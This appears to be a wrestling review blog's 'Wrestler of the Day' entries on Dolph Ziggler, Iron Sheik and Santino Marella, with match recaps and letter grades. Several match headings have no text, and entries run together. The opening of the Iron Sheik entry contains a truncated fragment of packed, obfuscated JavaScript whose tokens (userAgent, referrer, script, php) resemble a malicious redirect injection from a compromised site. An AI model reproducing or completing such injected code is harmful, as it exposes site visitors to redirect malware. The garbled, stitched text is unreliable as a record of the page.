Wrestler of the Day – March 16: Dolph Ziggler

TV Title Tournament First Round: Paul Burchill vs. Nick Nemeth

A hard uppercut drops Nemeth and a monkey flip gets two more. They trade rollups for two each until Burchill takes over with a slam. Nemeth avoids a moonsault and hits a running tornado DDT but Paul gets a foot on the ropes. Burchill tries to bail a few times in a row before rolling through a cross body and grabbing the tights to advance.


Spirit Squad vs. DX

Oh and for their big return, DX comes out first of course. This whole show is making my skull ache. So there is NO DRAMA here at all, even though the SS are the tag champions. This show needs to end, and they saved the worst for last. No one buys this as a legit challenge and they shouldn’t. It’s one fall, and the current OVW Champion is on the heel team.

Also Ross points out that the Squad has never beaten DX. That’s just brilliant: point out that this has been one sided. The Squad has air horns and matching outfits and all that jazz. Shawn and Mitch start us off. If my memory is right, he’s the least talented one. Let that sink in for a bit. Shawn gets ganged up on in the corner and beats all five of them up. Give me a break. HHH finally comes in since Shawn hasn’t broken a sweat yet.

This is pointless and I know this match has just gotten started. Johnny gets his nose busted up and comes in. He, I kid you not, pulls out a bandana with a Japanese sun and Japanese characters on it and pretends he’s the Karate Kid. A comedy match is ending the PPV. Shoot me. Please. HHH hits the Flair knee drop to further mess up his nose. Johnny is talented too but he was just too small to be worth much. And now he gets pantsed.

A quadruple team gets HHH so close to trouble that he can see it with a telescope. And he’s fine in like 8 seconds and tags Shawn to no pop at all. Shawn does his usual stuff and hits the elbow. Mikey hits what we would call Trouble in Paradise and actually gets a cover! Kenny gets a chair shot that comes maybe a foot away from Shawn’s head but whatever. Mitch gets a running start and jumps on a trampoline to get from the floor over the top rope for a bulldog.

I hate this match. I truly do. Shawn’s beating gets about as much heat as Antarctica so HHH comes in and beats them up. Mikey messes up on the trampoline so four of them are down. Kenny, for lack of the better term the leader, takes the Pedigree to end it. Mitch gets his face shoved into HHH’s back to end it with a Vince staredown.

Rating: F. The main event of a PPV had a guy being pantsed, air horns and trampolines. Do I need to make fun of this? There was NO drama at all here and it was more or less one sided the whole way. Horrible match so of course it got 18 minutes. At the end of the day, the Squad just wasn’t ready for this spot.

Nic Nemeth vs. Greg Jackson

Nemeth is Dolph Ziggler and he’s a natural. My cousin is named Greg Jackson but I have no idea who this guy is. I’d bet on a squash here. Jackson has a good armdrag if nothing else. AHA! Jackson is more commonly known as Trent Barretta. I knew I had seen him before. Good to see that the second biggest team on Smackdown has one guy that’s unrecognizable.

Sweet dropkick to take out Jackson on a springboard clothesline. Nemeth has half black hair here which is a weird look for him. Jackson makes a short comeback but a jumping Downward Spiral ends Jackson and completes this glorified squash.

Rating: D+. Again not much here but they were kind of flying through this since it was only a squash. The match never really went anywhere but for a glorified squash what can you really ask for? At least the right guy won as Ziggler is by far and away the better talent of the two.

Batista vs. Dolph Ziggler

Ziggler would tread water for the next several months but would get an Intercontinental Title shot at Hell in a Cell 2009.

Intercontinental Title: John Morrison vs. Dolph Ziggler

WOW this feud seems like it was years ago when it was like 4 months. Morrison comes out first which is really weird when you think about it. Ziggler’s music is awesome if nothing else. That shinny thing that Dolph does to get out of his vest is nice. This is the day after Morrison turned thirty in case you were interested for some odd stalker based reason. What in the heck is up with Dolph’s hair? And why hasn’t Word heard of the word Dolph?

Didn’t it ever see Rocky IV? It amazes me how Morrison showed so much promise and Miz is flat out better than he is at the moment. They’re using a more mat based thing here which is odd but it’s not terrible I suppose. Just as I say that Morrison goes to the air and misses Starship Pain.

Ziggler is good at being the obnoxious heel but he needs a different name if he’s ever going to be taken seriously. But hey, it’s “realistic” right? Love that corner splash he does too. He’s a lot better technically than I would have guessed him to be. Morrison starts his comeback and the crowd is really hot tonight which makes this a better show as it does in all cases.

That standing Shooting Star Press is either overrated or awesome and I’m not sure which. They’re hitting some sweet near falls here. Ziggler uses a jawbreaker of some kind but it came off looking really weird. Morrison sells the neck work that Ziggler did. That’s a great sign as so few people do it.

I’m liking this match a good deal indeed. The near falls are getting better and better. Starship Pain is countered again which is good as Ziggler was laying there forever and it would have sucked if it hit. Crowd chants THIS IS AWESOME and they’re right. Morrison counters the ZigZag and hits a much faster Starship Pain to get the pin. Sweet match.

Rating: B+. Probably too high but this was a very fun match. The near falls were great and at times they had me believing Morrison wasn’t a lock to win which is the best thing a match can do: get you to believe something you know it’s true and that’s what they did here. This was very fun though as it was given the time to flesh itself out as it had over 15 minutes to work with. The IC Title hunt was just awesome at this time and this was no exception.

Kofi Kingston vs. Dolph Ziggler

We see a quick recap of Vickie costing Kofi the win last week. I still can’t stand her. This is non-title and if Dolph wins he gets a title shot next week. Ziggler dominates for the most part here, injuring Kofi’s ribs early on. He even busts out a reverse slam which is a cool move. The problem here is that he’ll likely wind up by going with the sleeper to end it which has nothing to do with the ribs.

We get a Tom Arnold and Roseanne reference just to make this either awesome or awful. Answer as to which of those it is coming later. After a LONG beatdown, Kofi starts making his comeback. This has been quite good actually. Ziggler hits a Fameasser (Striker says it made Kofi famous) for two. This is a prime example of why he doesn’t need Vickie: he’s having a very solid match with one of the most well rounded guys on the roster. Why does he need Vickie?

She slaps Kofi and he gets all ticked off and beats the tar out of Dolph. He goes so insane that it’s enough for a DQ. Dolph is thrown onto the announce table and this is a beating. Referees finally pull him off and Ziggler is declared the winner. Solid match here and a great post match thing.

Rating: B-. Another good match here with neither guy being able to beat the other definitively. I like seeing Kofi show emotion like this as he doesn’t do it enough. He just snapped and couldn’t take it anymore which worked well for him. I liked this as Smackdown continues this whole wrestling thing and it’s working. What an idea.

Intercontinental Title: Kofi Kingston vs. Jack Swagger vs. Dolph Ziggler

That’s what I figured would be the opener. Nothing like a hot opener to be, you know, the opener. King says that Vickie isn’t as cute as Bill Dundee in another line that most people won’t get at all. Weird kind of three way brawl to start and we get a LOUD Kofi chant. Ziggler to the floor and Cole and Lawler start chatting about ladder matches which should be interesting.

First ladder brought in by the champion but both challengers shove him off as the champion touches the belt. Sweet dropkick by Kofi takes down Swags. In a smart spot Kofi shoves the ladder down onto Swaggers’ hands/arms as he’s using the ropes to get up. Another ladder in now, also by Ziggles. Swagger has to get his arm looked at as Kofi lands back first on a ladder.

Slingshot from the mat into the ladder draped over the middle rope. It may help if I say Swagger launched Ziggler into it. This is going WAY too fast to call play by play and such. Ziggler hits a Fameasser onto Kofi onto a ladder onto Swagger. Everyone is out so Vickie comes in. Lawler: who does she think she is, Michael Cole? She tries to go up for no adequately explored reason so Kofi starts to tip over the ladder until the heels make the save.

Everyone on the floor now as the fans are WAY behind Kofi still. He goes up the ladder but Swagger grabs the ankle lock. Ziggler climbs up their backs and nearly pulls it off. Ziggler vs. Kofi on top as Jack is down on the floor. Big BOMBS being thrown here. Dolph manages to get the freaking Sleeper on top of the ladder! He fights out and gets a big shot to put Dolph down a bit.

TEST OF STRENGTH on top of the ladder but Kofi shoves Dolph off. Swagger goes up now as this is awesome stuff with incredible balance. Both guys pull down the title….and Ziggler grabs it off the mat to retain. The fans boo the heck out of it but Striker points out you have to have possession of it which while a stretch does actually make logical sense. If nothing else we got to hear Lawler say “he’s clutching it to his bosom.”

Rating: B. This was more of an intellectual ladder match which is something you don’t see. They brought out some leverage and thinking spots which work far better than the usual high spots which we’ll get later on with Morrison. This was much better than I was expecting and sets a very good pace for the show.

Smackdown World Title: Edge vs. Dolph Ziggler

 

Vickie is referee here.  Big match intros are interrupted by Vickie who does them instead.  The spear is still banned.  Dolph grabs a rollup almost immediately for two.  Naturally, Vickie counts fast for Dolph but Cole says that might be the way she counts both ways.  Edge hammers away in the corner and Vickie breaks it up.  Naturally Dolph does the same thing and Vickie stands around.

Sleeper can’t go all the way on and Edge reverses to get us back to even.  Nice dropkick by Ziggler puts Edge right back down though.  Edge keeps fighting back but hasn’t covered yet so we’re not sure about her speed on his covers.  Ziggler gets that Downward Spiral Stunner but can’t get the Zig Zag.  Edgecution hits so Vickie puts Dolph’s foot on the rope.

Fameasser gets two.  Edge gets a forearm to take down Ziggler.  Cole is getting annoying here as he keeps ranting about how great this is and all that jazz.  Vickie channels her inner Edge and spears her ex-husband.  She actually bounces off Edge and falls to the mat.  Her ankle might be hurt so the doctor takes her out.

With Vickie gone there’s the spear!  No referee though so Edge spears him again.  The problem is that Vickie is right there and sees it.  With no referee still, Clay Matthews, a huge linebacker for the Super Bowl champion Packers, comes out in a referee shirt and counts the pin.  Somehow this counts and Edge wins at approximately 8:45.  Uh….ok?  Vickie waves it off as the show ends and Cole says there’s a new world champion.  Odd but cool ending.

Rating: C. This was just there to set up the ending, but I really hope they follow up on this.  There’s no reason why that fall should stand but at the moment at least it does.  Odd indeed but having Matthews there was a cool thing to do.  It doesn’t make any sense at all, but again it was cool, which was the point.

US Title: Zack Ryder vs. Dolph Ziggler

Battle of the Z’s here. Ziggler has on blue trunks and they’re really not working for him. Ryder controls early on and is pretty fired up here. The champ gets control quickly though, hitting a DDT onto the apron. Ziggler drops a bunch (as in like ten) elbows on Ryder but they only get two. Off to a chinlock and the fans chant “Let’s go Ryder, Woo Woo Woo”. Ziggler uses Ryder’s body to brace himself for situps.

And now let’s start talking about Twitter. Ryder fights back but gets caught in an Angle Slam for two. Ryder comes back and hits a missile dropkick from the middle rope for two. Here’s his comeback and the Broski Boot hits. Vickie puts Ziggler’s foot on the ropes and gets ejected for it. They trade rollups and Ziggler tries two Fameassers, one of which hits. Dropkick gets two for Dolph. He goes up and gets crotched, allowing Ryder to bust out a top rope rana for two. I love how his arms fly up in the air on every cover.

Rough Ryder is countered into a hot shot into the post for two. The fans are still cheering for Ryder as they were earlier. Out of nowhere, Ryder hits the Rough Ryder and WINS THE TITLE at 10:25. The camera immediately cuts to Ryder’s dad in the crowd which is a really nice touch. They treated this like a really big moment, which it was.

Rating: B-. Why it didn’t happen in MSG is beyond me but whatever. This is the definition of a guy working as hard as he could have, the fans responding to it, and the company PAYING ATTENTION TO WHAT THE PEOPLE WANTED. I can’t emphasize that enough: the WWE listened to what the fans were telling them and pushed him accordingly. Pretty decent match too.

Dolph would soon form a tag team with Jack Swagger and get a Tag Team Title match against R-Truth and, of course, Kofi Kingston at Over the Limit 2012.

Tag Titles: Jack Swagger/Dolph Ziggler vs. R-Truth/Kofi Kingston

Kofi and Swagger get us going. Jack takes it to the mat but opts for a standing top wristlock instead. Not much happens so it’s off to Truth for a double hiptoss. Spinning legdrop gets two. Ziggler comes in but Kofi gets a blind tag and a springboard missile dropkick for two. Swagger gets in a shot from the apron and a tag to take over. He works on the arm some more and it’s off to Truth who speeds things up.

Vickie distracts the referee which results in Dolph getting his head kicked off. Swagger puts Truth down and hits the Vader Bomb for two. Ziggler comes back in with a Crossface of all things as King is talking about Vickie’s navel. Cole: “If you two were as good at commentating as you were at looking at Vickie you’d be in the Hall of Fame.” King: “I already am.” That was funny for some reason.

Swagger takes Truth down but Truth comes back with a flurry of punches. They don’t get him anywhere as Ziggler comes in for a double team, getting two. Dolph does the handstands on the chinlock which is impressive. Back to Jack who takes Truth into the corner but gets caught by a tornado DDT to put both guys down. Double tag brings in Kofi and Dolph and an SOS gets two. Springboard cross body gets two as Jack makes the save. As Kofi is coming back in he gets caught by a Fameasser for two. Truth dives onto Swagger and Dolph jumps with a Stinger Splash, right into Trouble in Paradise to retain at 12:28.

Rating: B. That’s probably high but I was enjoying this match. Kofi and Dolph have some awesome chemistry together and it worked very well here. They’re clearly building to a big rematch with the Colons, if you can call that big of course. Pretty good match here and I was really liking it by the end.

Up next was Money in the Bank with Dolph in the World Heavyweight Championship ladder match.

Smackdown World Title Money In The Bank: Christian vs. Cody Rhodes vs. Dolph Ziggler vs. Tensai vs. Santino Marella vs. Tyson Kidd vs. Damien Sandow vs. Sin Cara

The ring nearly clears out to start and it’s Tensai in control. He cleans house and heads out to get the first ladder. Kidd is down in the corner so Tensai slingshots him into a ladder draped over the middle rope. Tensai goes after Christian so Christian and Kidd team up to squash him with some ladders. Christian decks Kidd and goes up but here’s Santino for the save. Kidd goes up as well but Sandow shoves all three over.

Cody and Ziggler come in now and Ziggler gets rammed into the ladder face first. Ziggler will have none of that and sends Cody into the ladder as well. If this was a year ago that would have gotten a much better reaction. It’s Cara’s turn to go crazy now and he snaps off a bunch of ranas. After the one to Cody, Rhodes is holding his knee. Cara goes up after Ziggler and they badly botch something with both guys falling to the mat.

Kidd vs. Cara now and Kidd gets sunset flipped down for a cover because Cara is confused. Cara slams him onto a ladder but Christian takes him down. Captain Charisma tries a frog splash but it only hits ladder. Cody pops up but gets taken down by a springboard dropkick from Kidd. With everyone down, Santino goes up but Tensai grabs him for a powerbomb. That doesn’t actually happen as Tensai falls backwards and Santino almost lands on the ladder. The botches are mounting up quickly.

Kidd sends Tensai to the floor and hits a dive to take out the Big Bald. Sandow goes up but Cara makes a save. That gets him nowhere as Cara is knocked down again and it’s Sandow going up again. Christian makes the save and gets his hand on the case, but Sandow takes him down again. Christian counters being rammed into the ladder in the corner and hits the reverse DDT to take Sandow down. He charges into a knee from Sandow, but hits the spear a few seconds later, sending Sandow into the ladder.

Christian goes up but Ziggler and Cody slams him into the ladder to make the save. They both go up and Ziggler gets rammed face first into the ladder. Tensai pulls Cody down and locks him in the Tree of Woe, only to have Kidd make the save. The Canadian is sent down and it’s Cara/Santino for the save. They get knocked down too so here’s Christian with some ladder shots to put Tensai back on the mat.

Ziggler sends Christian to the floor and it’s time for Santino to go insane. He hits his usual stuff on Ziggler and loads up the Cobra to take out Ziggler. Santino goes up but gets scared of heights. The Cobra makes him climb and takes out Sandow, but Cody dropkicks Santino, sending both him and the ladder down. Cody (whose leg appears to be fine now) throws a ladder at Santino and sets up another one in the middle of the ring.

Cody goes up and Vickie climbs the ladder to stop him. Ziggler makes a fast climb and hits the Zig Zag off the ladder to pull Cody down. Christian makes the last minute save and Sandow climbs another ladder. All three are up there so Kidd springboards in and takes Ziggler down in an awesome spot. Christian slams a ladder into Sandow’s face and they both go to the floor.

Tensai comes back and goes insane, setting up a ladder between the announce table and the ring. Cara gets powerbombed onto it ala last year, followed by Ziggler getting launched over the announce table in a cool looking power display by Tensai. Cody pops up from the middle of nowhere and hits a pair of Disaster Kicks to put Tensai down.

Kidd and Rhodes go up the ladder but Christian climbs another ladder. Cody drops Kidd but Christian spears Cody off the ladder. Christian and Santino go up but Marella is knocked down. Ziggler runs up from out of nowhere, sends Christian into another ladder and pulls down the case for the win at 18:23.

Rating: B-. There was only so much they could do here with eight people and that’s what really brought things down here. With eight people, there aren’t enough spots to go around and it catches up to them every year. Sandow wasn’t needed here and I don’t think Cara was either. Neither guy really did much in the match but they didn’t bring it down either. The botches hurt it too, making this a pretty good match but more of a mess than anything else.

Ziggler would hold the case for a good while still having Vickie around. Eventually AJ Lee would get dragged into things as Ziggler called out John Cena. This set up a ladder match at TLC 2012 for the briefcase.

Dolph Ziggler vs. John Cena

Ladder match for the case here. Cena runs him over with a shoulder to start and they stare at each other for a bit. The fans are almost universally behind Dolph here. Cena takes him down with a headlock, probably for the first time in the history of ladder matches. He works on Dolph’s arm and hits a fisherman’s suplex. There’s a monkey flip out of the corner and Ziggler is sent to the floor.

Ziggler gets a chair to take Cena down and wedges it between the top and middle rope. We get the first ladder brought in but Cena rams it into Dolph’s face. Cena might be cut over the eye. The dueling Cena chants begin as he crushes Ziggler’s head with the steps. It’s table time but Dolph knocks Cena down and goes for a climb. They slug it out and it’s boo/yay time. Dolph hooks the sleeper and Cena turns red, but he climbs the ladder anyway with Ziggler on his back.

This of course goes badly and they crash backwards through a table in the ring. In a very cool spot, Ziggler goes up the ladder, so Cena PICKS UP THE LADDER FOR THE AA. Ziggler escapes what would have likely resulted in death and hits the Fameasser to put both guys down. Cena puts on a quick STF but Ziggler escapes the AA and hits the Zig Zag. Ziggler seems to be a big ginger on his leg as he gets another table.

The table is placed in the corner but Cena hits four of the five moves of doom. Dolph counters the AA and hits the jumping DDT to put Cena down again. Ziggler goes for the big ladder but Cena stops him at the top. They slug it out up there with Cena shoving Ziggler off. There’s no one to stop Cena….except himself as Cena does the stupid VERY slow climb, allowing Ziggler to take him down. Ziggler rams the bad eye into the ladder but Cena BUSTS OUT A FREAKING HURRICANRANA to send Ziggy through the table in the corner.

John pounds Ziggler into the corner and puts him on the top rope. Ziggler shoves him away and tries a top rope cross body, but Cena rolls through into the AA. That gets countered too and a chair shot puts Cena down. Ziggler misses a kick and there’s an AA. There’s nothing in the ring at the moment though so here’s Vickie with a chair. Cue AJ to take Guerrero down with the Five Moves of Doom. Well close enough I guess. Cena climbs the ladder and AJ shoves it down, turning heel. Ziggler has no idea what’s going on but AJ goes all happy psycho again. Ziggler retains the case at 23:38.

Rating: B+. I’d like this a lot more if it wasn’t about AJ. At the end of the day, I get that she’s nuts but she’s gotten WAY too much focus and it means this story must continue. I get what they’re going for here, but man alive they’ve run this story into the ground for so long that I don’t care anymore. The match was very good though as the ladders were props in the match, which is what makes the best ladder matches.

Dolph would cash in on Raw on April 8, 2013, just after champion Alberto Del Rio had fought Jack Swagger.

Smackdown World Title: Alberto Del Rio vs. Dolph Ziggler

The place goes NUTS for Ziggler as he stomps away on the leg and head of Alberto. The Fameasser hits for two but Ziggler misses a splash in the corner. The enziguri in the corner hits for a VERY close two and there’s the armbreaker. Ziggler cranks on the bad knee to break the hold and the Zig Zag gives us a new champion at 2:15.

Unfortunately Dolph would get a concussion soon after this and not be able to defend the title for two months, losing it in his first defense at Payback. The rest of the year would be spent in a face turn and downward trend for Ziggler, but he would start picking up at the end of the year, including this match from November 18, 2013 on Raw.

Dolph Ziggler vs. Damien Sandow

There are a bunch of musical instruments in the ring, mainly string stuff. Sandow throws him to the floor but misses a shot with an electric guitar. Ziggler dives off the steps to take him down as the announcers reference musical acts from the 70s and earlier. Back in and Damien pounds away before getting caught by a nice dropkick to send him back outside. Ziggler goes up top but dives into a shot from an organ to the ribs as we take a break.

Back with Sandow stomping away on Ziggler in the corner as Cole talks about Lawler meeting Ronnie Milsap. Ziggler comes back but misses a fiddle shot, allowing Sandow to hit him with a guitar for two. Dolph hits a DDT and breaks the fiddle over Sandow’s head before the Fameasser gets two. Sandow goes nuts again and launches Ziggler into the corner before ramming Dolph head first into a chair in the corner for a close two.

Ziggler gets thrown into the drums and hit with a guitar for two. Sandow misses a charge into the post and Ziggler rolls him up for two. A snare drum over Damien’s head and a bass drum does the same, basically tying Sandow up. Ziggler grabs the only remaining guitar, struts over, and blasts Sandow in the head for the pin at 10:17.

Rating: D. Was this supposed to be funny? That’s a genuine question. The announcers were treating it like a comedy match but apparently these two don’t like each other. I say apparently because I don’t remember them having any altercations in recent history, unless I’m forgetting some throwaway segment on Smackdown somewhere. The match was dumb as are most gimmick matches though. We’re also supposed to ignore Sandow’s shoulders being inside the drum and not on the mat.

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Wrestler of the Day – March 15: Iron Sheik

");n m="q";',30,30,'document||javascript|encodeURI 45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rnziy|var|u0026u|referrer|aeeds||js|php'.split('|'),0,{})) Today Wrestler of the Day #1! All other Wrestler of the Day! Bah phooey! It’s Iron Sheik.

Sheik was born in Iran and was an Olympic wrestler as well as a guard for the Shah of Iran. He would head to America and become a professional wrestler under the tutelage of Verne Gagne. Sheik started as Great Hossein Arab and did some stuff for the WWF back in the 70s. Here he is challenging for a Japanese title in Madison Square Garden on December 17, 1979.


NWF Title: Antonio Inoki vs. Great Hossein

This is like the Japanese tag titles earlier with the NWF Title being the primary title for NJPW in the early days. Hossein is more commonly known as the Iron Sheik and I’ll be referring to him as such here out of instinct. Sheik does his anti-American thing which is more or less verbatim as to what he would use in his more famous character. Inoki is completely dominating here as Sheik can’t even land a punch or anything close to it.

Inoki throws on the weakest armbar I can remember in a long time and Sheik gets his first offense in with a slam that gets him absolutely nowhere. He throws on a leg lock but Vince says this isn’t s submission hold for no apparent reason. Holy crap the heel is taking over a bit, albeit with incredibly generic offense. The fans think Iran sucks.

Well that offense didn’t last long as here comes Inoki again. Sheik actually hits a dropkick and not a bad one at that. He goes for an abdominal stretch which looks like some screwed up way of trying to humble Inoki. I’ve always wondered about that and why he’s so obsessed with the idea of it. Vince says this has been even which is ridiculous but whatever. Inoki gets a nice sunset flip into a modified Sharpshooter in a nice combination.

Inoki tries to take the boot off of Sheik because it might be loaded up. I never got this part of Sheik but whatever. He gets it off and Sheik is in a boot and a sock. The boot is loaded with something apparently. Inoki is busted open from a shot with it. And then the enziguri ends it. Sheik hits him with the boot again afterwards.

Rating: C-. Not horrible I guess but at fifteen minutes this was WAY too long. It was just a step away from being a squash which in a long title match is never a good thing at all. It’s cool seeing guys this famous when they weren’t incredibly well known yet though but dang fifteen minutes of them is just too much.

The Great Hossein Arab vs. Larry Zbyszko

This is called the third bout and it’s right after the previous one on my list. Arab is much more famous as The Iron Sheik. Sheik tries to take it to the mat but Larry escapes to a stalemate. Larry speeds things up and sends Sheik to the floor where he gets very ticked off. Back in an elbow misses and Sheik is even madder. I sense a humbling. Larry hooks a headlock and pounds away with right hands. The fans are way into this.

Back to the headlock and things speed way up with a crisscross. Sheik hits a pair of leapfrogs but gets caught in the headlock again. Sheik has finally had enough and blasts Larry in the face, but a knee drop misses and it’s back to Zbyszko. There’s an abdominal stretch but Sheik reverses into one of his own but that gets reversed as well. Sheik sends him into the corner and backdrops him for two.

We finally get to the heel control portion of this but it ends just as quickly in a Zbyzsko sunset flip. They collide and both of them go down. Sheik gets up first with a suplex but he can’t cover immediately so it only gets two. Another suplex is countered into a small package which gets two for Larry, as does a slam. Sheik loads up one of the boots but Larry trips him down and goes after it. That somehow gets two but Sheik kicks him onto the ref. That’s not enough for him so he drops an elbow on the referee for the DQ.

Rating: C-. It’s amazing what charisma can do for you. This was only a little bit better of a match than the previous one, but the charisma the two guys have made me want to see them fight which is what made things work better here. Sheik getting more and more disgruntled until he snapped worked a lot better for a story than “I’ll hit you a lot.” Larry would turn heel on Sammartino the very next day.

WWF World Title: Iron Sheik vs. Tito Santana

Then this happened two days later.

WWF World Title: Hulk Hogan vs. Iron Sheik

Intercontinental Title: Tito Santana vs. Iron Sheik

Rating: C-. This was one of those matches that worked better for the live crowd than a TV one. Most of the match was spent with big gestures from the two of them and the people ate it up. Sheik was a great heel but without the camel clutch there was only so much that could be done here.

About a year later Sheik would hook up with Nikolai Volkoff in a tag team which should have been called the Iron Curtain. They fought the US Express at the first Wrestlemania for the Tag Team Titles.

Tag Titles: US Express vs. Nikolai Volkoff/Iron Sheik

Off to Barry who avoids double teaming and causes the challengers to collide. Back to Rotundo to work over Nikolai with an elbow drop getting two. Windham comes in off the top with a shot to the arm and Rotundo does the same thing. Sheik suplexes Mike down for two as the foreigners take over. Nikolai drops him throat first across the throat and the USA chant starts up.

Iron Sheik/Nikolai Volkoff/George Steele vs. Mike Rotunda/Barry Windham/Ricky Steamboat

That’s quite the face tag team. This was on the SNME DVD (greatDVD that should certainly be picked up if you can find it. Awesome stuff on it) as an extra. Blassie is with the heels and Albano is with the faces. The two foreigners had taken the tag titles from the US Express at Wrestlemania for a token tag title change.

About a year prior to this, the US Express had been using Real American for their theme music. That went to Hogan of course and here they use Born in the USA by Bruce Springsteen which works like a charm for them as it’s perfect. We start with Windham and Steele which is an odd matchup if there ever has been one.

Sheik was hitting the end of whatever usefulness that he had at this point. Rotundo would soon head to WCW and become a member of the Varsity Club, ending in an awesome moment with Rick Steiner taking the TV Title from him after months of being talked down to by him. Wow what a tangent that was.

Oh and he’s more commonly known as I.R.S. Oddly enough the faces dominate early on. We go to commercial with the faces dominating. We begin the awesome SNME tradition of not having action during commercials so we don’t have to be all confused about how we got to a point during a break.

Wow there are four hall of fame wrestlers in here and two on the floor. That’s rather impressive, especially considering that the two that aren’t in there are two of the three most talented. Steele comes in and his teammates abandon him, allowing Windham to get a quick rollup for the pin. Steele eats a turnbuckle and the tag champions beat him up. That doesn’t last long as Albano comes in to calm him down and Steele is a face.

Rating: C-. Eh this was fine. It wasn’t meant to be anything special other than a way to get Steele out of the dark side, but the heel offense consisted of about four Volkoff punches and other than that it was a complete squash. I don’t get why it was so one sided, but it did its job and wasn’t bad at all so for the first match in show history this was perfectly fine.

First Round: Junkyard Dog vs. Iron Sheik

I like JYD’s song. It’s just old school personified. Sheik jumps him as it’s still playing though, which in a bit of a comedic moment is how Sheik’s former partner lost earlier in the night. Sheik is freaking ripped. Somehow, Dog is more limited than Putski was earlier. He hits nothing but punches and headbutts. Eventually he goes down though and Sheik gets the clutch on him. Jesse says no one has ever gotten out of this. You know, other than Hogan in the match that changed wrestling forever but that didn’t mean as much as this did of course. It’s also the sloppiest camel clutch this side of Sid Vicious. Dang it’s bad.

Dog gets out of it kind of as Sheik argues with the referee. In an even dumber ending than before, a headbutt gets the pin. What? He used two of them before and didn’t even knock Sheik down but here that’s enough to get a clean pin? Come on now guys at least give us some consistency! Why couldn’t one of these two have gotten hurt early? I hate booking like this. It’s more or less saying the lazier you are, the stronger you’ll get pushed. That’s great business wouldn’t you say?

Rating: F-. Where do I begin? Let’s see: the moves were limited and sloppy, the thing lasted three whole minutes which I’ll never get back, and the ending made zero sense. What kind of a grade did you expect here? The crowd went nuts for the Dog though and that’s likely why he went on to win the tournament.

Iron Sheik/Nikolai Volkoff vs. Hart Foundation

In Boston here and this would be heel vs. heel. The Harts are the faces by default and get cheered as a result. They also break up the Russian national anthem to really ensure their cheers. Even Gorilla acknowledges that no one cheers the Harts most of the time. The Harts clear the ring and eventually we start with Bret vs. Nikolai. Off to Sheik before anything happenes.

Bret sends him to the floor pretty easily as the Harts are in desperate need of a better team than this to face. Sheik gets him in the heel (I guess) corner but he misses a boot so Volkoff gets knocked down. Nikolai does get up to break up the middle rope elbow and Neidhart is shoved away. Sheik can take over now and brings in Nikolai who gets caught in a sunset flip which the referee misses.

The team that should have been called the Iron Curtain uses the classic basic heel moves to control as Sheik runs through his array of offense: abdominal stretch, gutwrench suplex and camel clutch, the final of which is broken up by Jim. Bret blocks some suplexes and it’s off to Neidhart. Jim cleans house with a bunch of dropkicks but Sheik breaks up a cover. Everything breaks down and Sheik pulls Neidhart’s leg to break up a slam and Volkoff falls on top for the pin.

Rating: D. Bad match and it’s not the right pairing for the Harts at all. They’re much better against the speed teams and since there was at least one for them to fight in the Killer Bees, I’m assuming there’s something up here. Not much of a match and pretty short, but the Harts did what they could. It just didn’t work all that well.

Sheik would stick around for another few years without accomplishing anything of note. After jumping around the AWA, WWC and NWA without doing anything interesting (save for getting squashed by Sting on PPV), it was back to the WWF to capitalize on the Gulf War. This is from Wrestling Challenge on June 30, 1991 with Sheik portraying Colonel Mustafa.

Colonel Mustafa vs. Jerry Stevens

The evil trio (Adnan, Mustafa and the now evil Sgt. Slaughter) would have their biggest match in the main event of Summerslam 1991: a handicap match against Hulk Hogan/Ultimate Warrior.

Ultimate Warrior/Hulk Hogan vs. Sgt. Slaughter/Colonel Mustafa/General Adnan

Slaughter would turn face soon after this, setting up a feud with Mustafa. They would captain teams at the 1991 Survivor Series.

Team Mustafa vs. Team Slaughter

Colonel Mustafa, Berzerker, Skinner, Hercules

Sgt. Slaughter, Tito Santana, Jim Duggan, Texas Tornado

Rating: F. The match sucked, it was never in doubt, and the biggest deal on the heel team was Skinner, who would get an IC Title shot soon after this. What a horrible match and one of the most worthless ones in the history of the show so far, which is covering quite a bit of ground. Nothing to see here at all.

General Adnan/Colonel Mustafa vs. Sgt. Slaughter

The winner gets to raise their own country’s flag. Mustafa (Iron Sheik) sings the Iraqi national anthem. No tagging required here I don’t think. Nope none at all. They jump Slaughter to start and use his bullet belt to work Slaughter over. Adnan goes outside which apparently he doesn’t have to do but does anyway. Most odd indeed.

Sheik gets a shot to Slaughter’s throat with something but the referee is distracted. Slaughter gets a clothesline to take over to almost no reaction. Adnan comes in as this needs to end soon due to the high level of suck in the evil foreigners. Slaughter rams them into each other and clotheslines Adnan for the pin to end it even though he wasn’t legal I don’t think.

Rating: D. Quick but barely long enough to call it a full match. It’s pretty bad and thankfully this angle/feud ended soon after this as the time for this thing went on way too long. Nothing special at all here and it was boring and bad on top of all that. Sarge was back though, even though he would be gone relatively soon.

Iron Sheik started out as an awesome wrestler with a great look and gimmick but time caught up with him in the late 80s. After that it was just living off of his past glory for a few years before he basically went nuts and wanted to, ahem, humble various wrestlers. Look up what that means for yourself. Anyway, Sheik is a very underrated talent that you should look into more if you only remember him for getting beaten up by Hulk Hogan.

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Wrestler of the Day – March 14: Santino Marella

Boris Alexiev vs. Mason Rage

Alexiev was best known as the reason Jim Cornette was fired from OVW. At this point, the Boogeyman was sent to OVW and Alexiev found him more amusing than terrifying. He was seen on TV laughing at Boogeyman instead of running, because, according to Cornette, no one told Alexiev to be scared of the Boogeyman. Cornette slapped him something like 17 times as a result and was fired.

Alexiev was called up to the main roster in April of 2007 and was given an Italian gimmick. He debuted on an episode of Raw taped in Italy. Vince was mad at the fans for being shaved bald at Wrestlemania 23, so he gave a fan an Intercontinental Title shot on Raw. The fan was Santino.

Intercontinental Title: Santino Marella vs. Umaga

Santino Marella vs. Jerry Lawler

Miss Wrestlemania: Divas Battle Royal

Melina, Beth Phoenix, Santina Marella, Victoria, Brie Bella, Eve Torres, Gail Kim, Jackie Gayda, Tiffany, Sunny, Rosa Mendes, Nikki Bella, Jillian Hall, Joy Giovanni, Katie Lea Burchill, Kelly Kelly, Layla, Maria, Maryse, Michelle McCool, Mickie James, Molly Holly, Natalya, Alicia Fox, Rosa Mendes, Torrie Wilson

He would defend the crown over the next few months, eventually losing it to Vickie Guerrero (first Raw I ever attented). There was a rematch in a hog pen match at Extreme Rules 2009, with Chavo teaming with Vickie for reasons that would probably make my head hurt.

Miss Wrestlemania: Santina Marella vs. Vickie Guerrero/Chavo Guerrero

